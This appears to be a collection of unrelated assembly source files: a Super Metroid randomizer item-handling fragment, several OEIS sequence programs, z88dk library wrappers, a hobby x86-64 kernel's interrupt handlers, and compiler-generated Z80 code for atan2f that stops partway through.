$00, $00 ; Missile dw $000C : db $00, $00, $00, $00, $00, $00, $00, $00 ; Super Missile dw $000E : db $00, $00, $00, $00, $00, $00, $00, $00 ; Power Bomb dw $8000 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Bombs dw $8B00 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Charge dw $8C00 : db $00, $03, $00, $00, $00, $03, $00, $00 ; Ice Beam dw $8400 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Hi-Jump dw $8A00 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Speed booster dw $8D00 : db $00, $02, $00, $00, $00, $02, $00, $00 ; Wave beam dw $8F00 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Spazer dw $8200 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Spring ball dw $8300 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Varia suit dw $8100 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Gravity suit dw $8900 : db $01, $01, $00, $00, $03, $03, $00, $00 ; X-ray scope dw $8E00 : db $00, $01, $00, $00, $00, $01, $00, $00 ; Plasma beam dw $8800 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Grapple beam dw $8600 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Space jump dw $8500 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Screw attack dw $8700 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Morph ball dw $9000 : db $00, $00, $00, $00, $00, $00, $00, $00 ; Reserve tank dw $9100 : db $00, $00, $00, $00, $00, $00, $00, $00 ; off-world progression item dw $9200 : db $00, $00, $00, $00, $00, $00, $00, $00 ; off-world item sm_item_table: ; pickup, qty, msg, type, ext2, ext3, loop, hloop dw $8968, $0064, $0000, $0000, $0000, $0000, $E0A5, #p_etank_hloop ; E-Tank dw $89A9, $0005, $0000, $0001, $0000, $0000, $E0CA, #p_missile_hloop ; Missiles dw $89D2, $0005, $0000, $0002, $0000, $0000, $E0EF, #p_super_hloop ; Super Missiles dw $89FB, $0005, $0000, $0003, $0000, $0000, $E114, #p_pb_hloop ; Power Bombs dw $88F3, $1000, $0013, $0004, $0000, $0000, $0000, $0000 ; Bombs dw $88B0, $1000, $000E, $0005, $0000, $0000, $0000, $0000 ; Charge beam dw $88B0, $0002, $000F, $0005, $0000, $0000, $0000, $0000 ; Ice beam dw $88F3, $0100, $000B, $0004, $0000, $0000, $0000, $0000 ; Hi-jump dw $88F3, $2000, $000D, $0004, $0000, $0000, $0000, $0000 ; Speed booster dw $88B0, $0001, $0010, $0005, $0000, $0000, $0000, $0000 ; Wave beam dw $88B0, $0004, $0011, $0005, $0000, $0000, $0000, $0000 ; Spazer dw $88F3, $0002, $0008, $0004, $0000, $0000, $0000, $0000 ; Spring ball dw $88F3, $0001, $0007, $0004, $0000, $0000, $0000, $0000 ; Varia suit dw $88F3, $0020, $001A, $0004, $0000, $0000, $0000, $0000 ; Gravity suit dw $8941, $8000, $0000, $0004, $0000, $0000, $0000, $0000 ; X-ray scope dw $88B0, $0008, $0012, $0005, $0000, $0000, $0000, $0000 ; Plasma dw $891A, $4000, $0000, $0004, $0000, $0000, $0000, $0000 ; Grapple dw $88F3, $0200, $000C, $0004, $0000, $0000, $0000, $0000 ; Space jump dw $88F3, $0008, $000A, $0004, $0000, $0000, $0000, $0000 ; Screw attack dw $88F3, $0004, $0009, $0004, $0000, $0000, $0000, $0000 ; Morph ball dw $8986, $0064, $0000, $0006, $0000, $0000, $0000, $0000 ; Reserve tank dw $88F3, $0004, $0009, $0004, $0000, $0000, $0000, $0000 ; off-world progression item dw $88F3, $0004, $0009, $0004, $0000, $0000, $0000, $0000 ; off-world item i_visible_item: lda #$0006 jsr i_load_rando_item rts i_chozo_item: lda #$0008 jsr i_load_rando_item rts i_hidden_item: lda #$000A jsr i_load_rando_item rts p_etank_hloop: dw $0004, $a2df dw $0004, $a2e5 dw !IGotoDecrement, p_etank_hloop dw !IJSR, $e020 dw !IGoto, p_hidden_item_loop2 p_missile_hloop: dw $0004, $A2EB dw $0004, $A2F1 dw !IGotoDecrement, p_missile_hloop dw !IJSR, $e020 dw !IGoto, p_hidden_item_loop2 p_super_hloop: dw $0004, $A2F7 dw $0004, $A2FD dw !IGotoDecrement, p_super_hloop dw !IJSR, $e020 dw !IGoto, p_hidden_item_loop2 p_pb_hloop: dw $0004, $A303 dw $0004, $A309 dw !IGotoDecrement, p_pb_hloop dw !IJSR, $e020 dw !IGoto, p_hidden_item_loop2 p_visible_item: dw !ILoadCustomGraphics dw !IBranchItem, .end dw !ISetGoto, .trigger dw !ISetPreInstructionCode, $df89 dw !IStartDrawLoop .loop dw !IDrawCustom1 dw !IDrawCustom2 dw !IGoto, .loop .trigger dw !ISetItem dw SOUNDFX : db !Click dw !IPickup .end dw !IGoto, $dfa9 p_chozo_item: dw !ILoadCustomGraphics dw !IBranchItem, .end dw !IJSR, $dfaf dw !IJSR, $dfc7 dw !ISetGoto, .trigger dw !ISetPreInstructionCode, $df89 dw !ISetCounter8 : db $16 dw !IStartDrawLoop .loop dw !IDrawCustom1 dw !IDrawCustom2 dw !IGoto, .loop .trigger dw !ISetItem dw SOUNDFX : db !Click dw !IPickup .end dw $0001, $a2b5 dw !IKill p_hidden_item: dw !ILoadCustomGraphics .loop2 dw !IJSR, $e007 dw !IBranchItem, .end dw !ISetGoto, .trigger dw !ISetPreInstructionCode, $df89 dw !ISetCounter8 : db $16 dw !IStartHiddenDrawLoop .loop dw !IDrawCustom1 dw !IDrawCustom2 dw !IGotoDecrement, .loop dw !IJSR, $e020 dw !IGoto, .loop2 .trigger dw !ISetItem dw SOUNDFX : db !Click dw !IPickup .end dw !IJSR, $e032 dw !IGoto, .loop2 i_start_draw_loop: phy : phx lda $1dc7, x ; Load PLM room argument asl #3 : tax lda.l rando_item_table+$2, x ; Load item id cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names clc : adc rando_item_table+$6, x ; add one if off-world item isnt progression .local_item asl #4 clc : adc #$000C tax lda sm_item_table, x ; Load next loop point if available beq .custom_item plx : ply tay rts .custom_item plx ply rts i_start_hidden_draw_loop: phy : phx lda $1dc7, x ; Load PLM room argument asl #3 : tax lda.l rando_item_table+$2, x ; Load item id cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names clc : adc rando_item_table+$6, x ; add one if off-world item isnt progression .local_item asl #4 clc : adc #$000E tax lda sm_item_table, x ; Load next loop point if available beq .custom_item plx : ply tay rts .custom_item plx ply rts i_load_custom_graphics: phy : phx : phx lda $1dc7, x ; Load PLM room argument asl #3 : tax lda.l rando_item_table+$2, x ; Load item id cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names clc : adc rando_item_table+$6, x ; add one if off-world item isnt progression .local_item plx %a8() sta $4202 lda #$0A sta $4203 nop : nop : %ai16() lda $4216 ; Multiply it by 0x0A clc adc #sm_item_graphics tay ; Add it to the graphics table and transfer into Y lda $0000, y cmp #$8000 bcc .no_custom jsr $8764 ; Jump to original PLM graphics loading routine plx ply rts .no_custom tay lda $0000, y sta.l $7edf0c, x plx ply rts i_visible_item_setup: phy : phx lda $1dc7, y ; Load PLM room argument (contains location index of item) asl #3 ; Multiply by 8 for table width tax lda.l rando_item_table+$2, x ; Load item id from item table cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names clc : adc rando_item_table+$6, x ; add one if off-world item isnt progression .local_item %a8() sta $4202 lda #$0A sta $4203 nop : nop : %ai16() lda $4216 ; Multiply it by 0x0A tax lda sm_item_graphics, x cmp #$8000 bcc .no_custom plx : ply jmp $ee64 .no_custom plx : ply tyx sta.l $7edf0c, x jmp $ee64 i_hidden_item_setup: phy : phx lda $1dc7, y ; Load PLM room argument (contains location index of item) asl #3 ; Multiply by 8 for table width tax lda.l rando_item_table+$2, x ; Load item id from item table cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names clc : adc rando_item_table+$6, x ; add one if off-world item isnt progression .local_item %a8() sta $4202 lda #$0A sta $4203 nop : nop : %ai16() lda $4216 ; Multiply it by 0x0A tax lda sm_item_graphics, x cmp #$8000 bcc .no_custom plx : ply jmp $ee8e .no_custom plx : ply tyx sta.l $7edf0c, x jmp $ee8e i_load_rando_item: cmp #$0006 : bne + ldy #p_visible_item bra .end + cmp #$0008 : bne + ldy #p_chozo_item bra .end + ldy #p_hidden_item .end rts ; Pick up SM item i_live_pickup: phx : phy : php lda $1dc7, x ; Load PLM room argument asl #3 : tax ; lda.l rando_item_table, x ; Load item type ; beq .own_item .multiworld_item ; This is someone elses item, send message phx lda.l rando_item_table+$4, x ; Load item owner into Y tay lda.l rando_item_table+$2, x ; Load original item id into X tax cmp #$0015 bmi .local_item lda.l #$0015 ; ids over 20 are only used to display off-world item names .local_item pla ; Multiworld item table id in A phx : phy : pha jsl mw_write_message ; Send message plx lda.l rando_item_table, x ; Load item type beq .own_item ply : plx jsl mw_display_item_sent ; Display custom message box bra .end .own_item ply : pla lda.l rando_item_table+$2, x ; Load item id cmp #$0015 bmi .local_item1 lda.l #$0015 ; ids over 20 are only used to display off-world item names .local_item1 jsr receive_sm_item bra .end .end plp : ply : plx rts ; Item index to receive in A receive_sm_item: asl : asl : asl : asl phx clc adc #sm_item_table ; A contains pointer to pickup routine from item table tax tay iny : iny ; Y points to data to be used in item pickup routine jsr ($0000,x) plx rts mw_call_receive: phx : phy jsr SETFX lda #$0037 jsl $809049 ply : plx jsr ($0000,x) rtl pullpc
; A027618: c(i,j) is cost of evaluation of edit distance of two strings with lengths i and j, when you use recursion (every call has a unit cost, other computations are free); sequence gives c(n,n). ; Submitted by Jamie Morken(w4) ; 1,4,19,94,481,2524,13483,72958,398593,2193844,12146179,67570078,377393953,2114900428,11885772379,66963572734,378082854913,2138752086628,12118975586803,68774144872414,390815720696161,2223564321341884,12665121241749259,72211867502896894,412107313722842881,2353867611887535124,13455348529835453923,76970365123509676318,440600565538340690593,2523707809779240936364,14463962197677125523643,82941737028436669120510,475862670945204361641985,2731487431800147791161540,15686044283842293002626003 seq $0,1850 ; Central Delannoy numbers: a(n) = Sum_{k=0..n} C(n,k)*C(n+k,k). div $0,2 mul $0,3 add $0,1
; unsigned char esx_f_chmod(unsigned char *filename, uint8_t attr_mask, uint8_t attr) SECTION code_esxdos PUBLIC esx_f_chmod EXTERN asm_esx_f_chmod esx_f_chmod: pop af pop de pop bc pop hl push hl push bc push de push af ld b,e jp asm_esx_f_chmod
; A156164: Decimal expansion of 17 + 12*sqrt(2). ; Submitted by Jon Maiga ; 3,3,9,7,0,5,6,2,7,4,8,4,7,7,1,4,0,5,8,5,6,2,0,2,6,4,6,9,0,5,1,6,3,7,6,9,4,2,8,3,6,0,6,2,5,0,4,5,2,3,3,7,6,8,7,8,1,2,0,1,5,6,8,5,5,8,8,8,7,8,9,7,4,1,5,4,5,2,8,4,4,6,6,2,0,4,6,5,0,4,1,1,9,3,1,6,9,8,8,7 mov $2,7 mov $3,$0 mul $3,3 lpb $3 add $6,$2 add $1,$6 add $1,$6 mov $2,$6 mul $2,3 add $2,$1 mul $1,2 sub $3,1 lpe sub $0,1 mov $4,10 pow $4,$0 mov $5,$4 cmp $5,0 add $4,$5 div $2,$4 div $1,$2 trn $1,3 mov $0,$1 add $0,3 mod $0,10
; int fgetpos_unlocked_callee(FILE *stream, fpos_t *pos) SECTION code_stdio PUBLIC _fgetpos_unlocked_callee, l0_fgetpos_unlocked_callee EXTERN asm_fgetpos_unlocked _fgetpos_unlocked_callee: pop hl pop bc ex (sp),hl l0_fgetpos_unlocked_callee: push bc ex (sp),ix call asm_fgetpos_unlocked pop ix ret
; A115362: Row sums of ((1,x) + (x,x^2))^(-1)*((1,x)-(x,x^2))^(-1) (using Riordan array notation). ; 1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,4,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1,1,2,1,1,1,3,1,1,1,2,1,1,1,2,1,1 add $0,1 gcd $0,1073741824 log $0,4 mov $1,$0 add $1,1
GLOBAL _cli GLOBAL _sti GLOBAL picMasterMask GLOBAL picSlaveMask GLOBAL haltcpu GLOBAL _hlt GLOBAL halt GLOBAL _irq00Handler GLOBAL _irq01Handler GLOBAL _irq02Handler GLOBAL _irq03Handler GLOBAL _irq04Handler GLOBAL _irq05Handler GLOBAL _sirqHandler GLOBAL _exception00Handler GLOBAL _exception06Handler EXTERN irqDispatcher EXTERN handleSyscall EXTERN exceptionDispatcher EXTERN scheduler SECTION .text %macro pushStateSome 0 push rbx push rcx push rbp push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popStateSome 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rbp pop rcx pop rbx %endmacro %macro pushStateAll 0 push rax push rbx push rcx push rdx push rbp push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popStateAll 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rbp pop rdx pop rcx pop rbx pop rax %endmacro %macro irqHandlerMaster 1 pushStateAll mov rdi, %1 ; pasaje de parametro call irqDispatcher ; signal pic EOI (End of Interrupt) mov al, 20h out 20h, al popStateAll iretq %endmacro %macro timerTickHandler 0 pushStateAll mov rdi, rsp ; pasaje de stack pointer call scheduler mov rsp, rax ; signal pic EOI (End of Interrupt) mov al, 20h out 20h, al popStateAll iretq %endmacro %macro sirqHandlerMaster 0 pushStateSome ; Todos los registros menos los utilizados por syscalls call handleSyscall popStateSome iretq %endmacro %macro exceptionHandler 1 pushStateAll mov rdi, %1 ; pasaje de parametro call exceptionDispatcher popStateAll iretq %endmacro _hlt: sti hlt ret halt: hlt ret _cli: cli ret _sti: sti ret picMasterMask: push rbp mov rbp, rsp mov ax, di out 21h,al pop rbp retn picSlaveMask: push rbp mov rbp, rsp mov ax, di ; ax = mascara de 16 bits out 0A1h,al pop rbp retn ;8254 Timer (Timer Tick) _irq00Handler: timerTickHandler ;Keyboard _irq01Handler: irqHandlerMaster 1 ;Cascade pic never called _irq02Handler: irqHandlerMaster 2 ;Serial Port 2 and 4 _irq03Handler: irqHandlerMaster 3 ;Serial Port 1 and 3 _irq04Handler: irqHandlerMaster 4 ;USB _irq05Handler: irqHandlerMaster 5 ;Syscall _sirqHandler: sirqHandlerMaster ;Zero Division Exception _exception00Handler: exceptionHandler 0 ;Invalid Opcode Exception _exception06Handler: exceptionHandler 6 haltcpu: cli hlt ret SECTION .bss aux resq 1
; A192459: Coefficient of x in the reduction by x^2->x+2 of the polynomial p(n,x) defined below in Comments. ; Submitted by Christian Krause ; 1,3,17,133,1315,15675,218505,3485685,62607195,1250116875,27468111825,658579954725,17109329512275,478744992200475,14354443912433625,459128747151199125,15604187119787140875,561558837528374560875,21332903166207470462625 mov $1,2 mov $2,1 mov $3,$0 lpb $3 mul $1,$3 mov $4,$3 sub $4,1 mul $4,2 add $4,1 mul $2,$4 add $1,$2 mul $1,2 sub $3,1 lpe mov $0,$1 div $0,2
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.0.7 #12017 (Linux) ;-------------------------------------------------------- ; Processed by Z88DK ;-------------------------------------------------------- EXTERN __divschar EXTERN __divschar_callee EXTERN __divsint EXTERN __divsint_callee EXTERN __divslong EXTERN __divslong_callee EXTERN __divslonglong EXTERN __divslonglong_callee EXTERN __divsuchar EXTERN __divsuchar_callee EXTERN __divuchar EXTERN __divuchar_callee EXTERN __divuint EXTERN __divuint_callee EXTERN __divulong EXTERN __divulong_callee EXTERN __divulonglong EXTERN __divulonglong_callee EXTERN __divuschar EXTERN __divuschar_callee EXTERN __modschar EXTERN __modschar_callee EXTERN __modsint EXTERN __modsint_callee EXTERN __modslong EXTERN __modslong_callee EXTERN __modslonglong EXTERN __modslonglong_callee EXTERN __modsuchar EXTERN __modsuchar_callee EXTERN __moduchar EXTERN __moduchar_callee EXTERN __moduint EXTERN __moduint_callee EXTERN __modulong EXTERN __modulong_callee EXTERN __modulonglong EXTERN __modulonglong_callee EXTERN __moduschar EXTERN __moduschar_callee EXTERN __mulint EXTERN __mulint_callee EXTERN __mullong EXTERN __mullong_callee EXTERN __mullonglong EXTERN __mullonglong_callee EXTERN __mulschar EXTERN __mulschar_callee EXTERN __mulsuchar EXTERN __mulsuchar_callee EXTERN __muluchar EXTERN __muluchar_callee EXTERN __muluschar EXTERN __muluschar_callee EXTERN __rlslonglong EXTERN __rlslonglong_callee EXTERN __rlulonglong EXTERN __rlulonglong_callee EXTERN __rrslonglong EXTERN __rrslonglong_callee EXTERN __rrulonglong EXTERN __rrulonglong_callee EXTERN ___sdcc_call_hl EXTERN ___sdcc_call_iy EXTERN ___sdcc_enter_ix EXTERN banked_call EXTERN _banked_ret EXTERN ___fs2schar EXTERN ___fs2schar_callee EXTERN ___fs2sint EXTERN ___fs2sint_callee EXTERN ___fs2slong EXTERN ___fs2slong_callee EXTERN ___fs2slonglong EXTERN ___fs2slonglong_callee EXTERN ___fs2uchar EXTERN ___fs2uchar_callee EXTERN ___fs2uint EXTERN ___fs2uint_callee EXTERN ___fs2ulong EXTERN ___fs2ulong_callee EXTERN ___fs2ulonglong EXTERN ___fs2ulonglong_callee EXTERN ___fsadd EXTERN ___fsadd_callee EXTERN ___fsdiv EXTERN ___fsdiv_callee EXTERN ___fseq EXTERN ___fseq_callee EXTERN ___fsgt EXTERN ___fsgt_callee EXTERN ___fslt EXTERN ___fslt_callee EXTERN ___fsmul EXTERN ___fsmul_callee EXTERN ___fsneq EXTERN ___fsneq_callee EXTERN ___fssub EXTERN ___fssub_callee EXTERN ___schar2fs EXTERN ___schar2fs_callee EXTERN ___sint2fs EXTERN ___sint2fs_callee EXTERN ___slong2fs EXTERN ___slong2fs_callee EXTERN ___slonglong2fs EXTERN ___slonglong2fs_callee EXTERN ___uchar2fs EXTERN ___uchar2fs_callee EXTERN ___uint2fs EXTERN ___uint2fs_callee EXTERN ___ulong2fs EXTERN ___ulong2fs_callee EXTERN ___ulonglong2fs EXTERN ___ulonglong2fs_callee EXTERN ____sdcc_2_copy_src_mhl_dst_deix EXTERN ____sdcc_2_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_deix EXTERN ____sdcc_4_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_mbc EXTERN ____sdcc_4_ldi_nosave_bc EXTERN ____sdcc_4_ldi_save_bc EXTERN ____sdcc_4_push_hlix EXTERN ____sdcc_4_push_mhl EXTERN ____sdcc_lib_setmem_hl EXTERN ____sdcc_ll_add_de_bc_hl EXTERN ____sdcc_ll_add_de_bc_hlix EXTERN ____sdcc_ll_add_de_hlix_bc EXTERN ____sdcc_ll_add_de_hlix_bcix EXTERN ____sdcc_ll_add_deix_bc_hl EXTERN ____sdcc_ll_add_deix_hlix EXTERN ____sdcc_ll_add_hlix_bc_deix EXTERN ____sdcc_ll_add_hlix_deix_bc EXTERN ____sdcc_ll_add_hlix_deix_bcix EXTERN ____sdcc_ll_asr_hlix_a EXTERN ____sdcc_ll_asr_mbc_a EXTERN ____sdcc_ll_copy_src_de_dst_hlix EXTERN ____sdcc_ll_copy_src_de_dst_hlsp EXTERN ____sdcc_ll_copy_src_deix_dst_hl EXTERN ____sdcc_ll_copy_src_deix_dst_hlix EXTERN ____sdcc_ll_copy_src_deixm_dst_hlsp EXTERN ____sdcc_ll_copy_src_desp_dst_hlsp EXTERN ____sdcc_ll_copy_src_hl_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_deixm EXTERN ____sdcc_ll_lsl_hlix_a EXTERN ____sdcc_ll_lsl_mbc_a EXTERN ____sdcc_ll_lsr_hlix_a EXTERN ____sdcc_ll_lsr_mbc_a EXTERN ____sdcc_ll_push_hlix EXTERN ____sdcc_ll_push_mhl EXTERN ____sdcc_ll_sub_de_bc_hl EXTERN ____sdcc_ll_sub_de_bc_hlix EXTERN ____sdcc_ll_sub_de_hlix_bc EXTERN ____sdcc_ll_sub_de_hlix_bcix EXTERN ____sdcc_ll_sub_deix_bc_hl EXTERN ____sdcc_ll_sub_deix_hlix EXTERN ____sdcc_ll_sub_hlix_bc_deix EXTERN ____sdcc_ll_sub_hlix_deix_bc EXTERN ____sdcc_ll_sub_hlix_deix_bcix EXTERN ____sdcc_load_debc_deix EXTERN ____sdcc_load_dehl_deix EXTERN ____sdcc_load_debc_mhl EXTERN ____sdcc_load_hlde_mhl EXTERN ____sdcc_store_dehl_bcix EXTERN ____sdcc_store_debc_hlix EXTERN ____sdcc_store_debc_mhl EXTERN ____sdcc_cpu_pop_ei EXTERN ____sdcc_cpu_pop_ei_jp EXTERN ____sdcc_cpu_push_di EXTERN ____sdcc_outi EXTERN ____sdcc_outi_128 EXTERN ____sdcc_outi_256 EXTERN ____sdcc_ldi EXTERN ____sdcc_ldi_128 EXTERN ____sdcc_ldi_256 EXTERN ____sdcc_4_copy_srcd_hlix_dst_deix EXTERN ____sdcc_4_and_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_dehl_dst_bcix EXTERN ____sdcc_4_and_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_or_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_and_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_cpl_src_mhl_dst_debc EXTERN ____sdcc_4_xor_src_debc_mhl_dst_debc EXTERN ____sdcc_4_or_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_hlix_dst_debc EXTERN ____sdcc_4_or_src_debc_hlix_dst_debc EXTERN ____sdcc_4_xor_src_debc_hlix_dst_debc ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- GLOBAL _m32_atan2f ;-------------------------------------------------------- ; Externals used ;-------------------------------------------------------- GLOBAL _m32_polyf GLOBAL _m32_hypotf GLOBAL _m32_ldexpf GLOBAL _m32_frexpf GLOBAL _m32_invsqrtf GLOBAL _m32_sqrtf GLOBAL _m32_invf GLOBAL _m32_sqrf GLOBAL _m32_div2f GLOBAL _m32_mul2f GLOBAL _m32_modff GLOBAL _m32_fmodf GLOBAL _m32_roundf GLOBAL _m32_floorf GLOBAL _m32_fabsf GLOBAL _m32_ceilf GLOBAL _m32_powf GLOBAL _m32_log10f GLOBAL _m32_log2f GLOBAL _m32_logf GLOBAL _m32_exp10f GLOBAL _m32_exp2f GLOBAL _m32_expf GLOBAL _m32_atanhf GLOBAL _m32_acoshf GLOBAL _m32_asinhf GLOBAL _m32_tanhf GLOBAL _m32_coshf GLOBAL _m32_sinhf GLOBAL _m32_atanf GLOBAL _m32_acosf GLOBAL _m32_asinf GLOBAL _m32_tanf GLOBAL _m32_cosf GLOBAL _m32_sinf GLOBAL _poly_callee GLOBAL _poly GLOBAL _exp10_fastcall GLOBAL _exp10 GLOBAL _mul10u_fastcall GLOBAL _mul10u GLOBAL _mul2_fastcall GLOBAL _mul2 GLOBAL _div2_fastcall GLOBAL _div2 GLOBAL _invsqrt_fastcall GLOBAL _invsqrt GLOBAL _inv_fastcall GLOBAL _inv GLOBAL _sqr_fastcall GLOBAL _sqr GLOBAL _isunordered_callee GLOBAL _isunordered GLOBAL _islessgreater_callee GLOBAL _islessgreater GLOBAL _islessequal_callee GLOBAL _islessequal GLOBAL _isless_callee GLOBAL _isless GLOBAL _isgreaterequal_callee GLOBAL _isgreaterequal GLOBAL _isgreater_callee GLOBAL _isgreater GLOBAL _fma_callee GLOBAL _fma GLOBAL _fmin_callee GLOBAL _fmin GLOBAL _fmax_callee GLOBAL _fmax GLOBAL _fdim_callee GLOBAL _fdim GLOBAL _nexttoward_callee GLOBAL _nexttoward GLOBAL _nextafter_callee GLOBAL _nextafter GLOBAL _nan_fastcall GLOBAL _nan GLOBAL _copysign_callee GLOBAL _copysign GLOBAL _remquo_callee GLOBAL _remquo GLOBAL _remainder_callee GLOBAL _remainder GLOBAL _fmod_callee GLOBAL _fmod GLOBAL _modf_callee GLOBAL _modf GLOBAL _trunc_fastcall GLOBAL _trunc GLOBAL _lround_fastcall GLOBAL _lround GLOBAL _round_fastcall GLOBAL _round GLOBAL _lrint_fastcall GLOBAL _lrint GLOBAL _rint_fastcall GLOBAL _rint GLOBAL _nearbyint_fastcall GLOBAL _nearbyint GLOBAL _floor_fastcall GLOBAL _floor GLOBAL _ceil_fastcall GLOBAL _ceil GLOBAL _tgamma_fastcall GLOBAL _tgamma GLOBAL _lgamma_fastcall GLOBAL _lgamma GLOBAL _erfc_fastcall GLOBAL _erfc GLOBAL _erf_fastcall GLOBAL _erf GLOBAL _cbrt_fastcall GLOBAL _cbrt GLOBAL _sqrt_fastcall GLOBAL _sqrt GLOBAL _pow_callee GLOBAL _pow GLOBAL _hypot_callee GLOBAL _hypot GLOBAL _fabs_fastcall GLOBAL _fabs GLOBAL _logb_fastcall GLOBAL _logb GLOBAL _log2_fastcall GLOBAL _log2 GLOBAL _log1p_fastcall GLOBAL _log1p GLOBAL _log10_fastcall GLOBAL _log10 GLOBAL _log_fastcall GLOBAL _log GLOBAL _scalbln_callee GLOBAL _scalbln GLOBAL _scalbn_callee GLOBAL _scalbn GLOBAL _ldexp_callee GLOBAL _ldexp GLOBAL _ilogb_fastcall GLOBAL _ilogb GLOBAL _frexp_callee GLOBAL _frexp GLOBAL _expm1_fastcall GLOBAL _expm1 GLOBAL _exp2_fastcall GLOBAL _exp2 GLOBAL _exp_fastcall GLOBAL _exp GLOBAL _tanh_fastcall GLOBAL _tanh GLOBAL _sinh_fastcall GLOBAL _sinh GLOBAL _cosh_fastcall GLOBAL _cosh GLOBAL _atanh_fastcall GLOBAL _atanh GLOBAL _asinh_fastcall GLOBAL _asinh GLOBAL _acosh_fastcall GLOBAL _acosh GLOBAL _tan_fastcall GLOBAL _tan GLOBAL _sin_fastcall GLOBAL _sin GLOBAL _cos_fastcall GLOBAL _cos GLOBAL _atan2_callee GLOBAL _atan2 GLOBAL _atan_fastcall GLOBAL _atan GLOBAL _asin_fastcall GLOBAL _asin GLOBAL _acos_fastcall GLOBAL _acos ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- SECTION bss_compiler ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- IF 0 ; .area _INITIALIZED removed by z88dk ENDIF ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- SECTION code_crt_init ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; code ;-------------------------------------------------------- SECTION code_compiler ; --------------------------------- ; Function m32_atan2f ; --------------------------------- _m32_atan2f: push ix ld ix,0 add ix,sp ld hl, -6 add hl, sp ld sp, hl ld hl,0x0000 push hl push hl ld l,(ix+6) ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl call ___fslt_callee ld (ix-6),l ld a,(ix+11) and a,0x7f or a,(ix+10) or a,(ix+9) or a,(ix+8) jp Z, l_m32_atan2f_00117 ld l,(ix+8) ld h,(ix+9) ld e,(ix+10) ld d,(ix+11) call _m32_fabsf ld (ix-5),l ld (ix-4),h ld (ix-3),e ld (ix-2),d ld l,(ix+4) ld h,(ix+5) ld e,(ix+6) ld d,(ix+7) call _m32_fabsf push hl push de ld hl,0x0000 push hl push hl ld l,(ix+10) ld h,(ix+11) push hl ld l,(ix+8) ld h,(ix+9) push hl call ___fslt_callee ld (ix-1),l pop de pop bc push de push bc ld l,(ix-3) ld h,(ix-2) push hl ld l,(ix-5) ld h,(ix-4) push hl call ___fslt_callee bit 0,l jr NZ,l_m32_atan2f_00107 ld l,(ix+10) ld h,(ix+11) push hl ld l,(ix+8) ld h,(ix+9) push hl ld l,(ix+6) ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl call ___fsdiv_callee call _m32_atanf ld a,(ix-1) or a,a ld c,l ld b,h jr Z,l_m32_atan2f_00105 bit 0,(ix-6) jr NZ,l_m32_atan2f_00102 ld hl,0x4049 push hl ld hl,0x0fdb push hl push de push bc call ___fsadd_callee ld c, l ld b, h jr l_m32_atan2f_00105 l_m32_atan2f_00102: ld hl,0x4049 push hl ld hl,0x0fdb push hl push de push bc call ___fssub_callee ld c, l ld b, h l_m32_atan2f_00105: ld l, c ld h, b jp l_m32_atan2f_00119 l_m32_atan2f_00107: ld l,(ix+6) 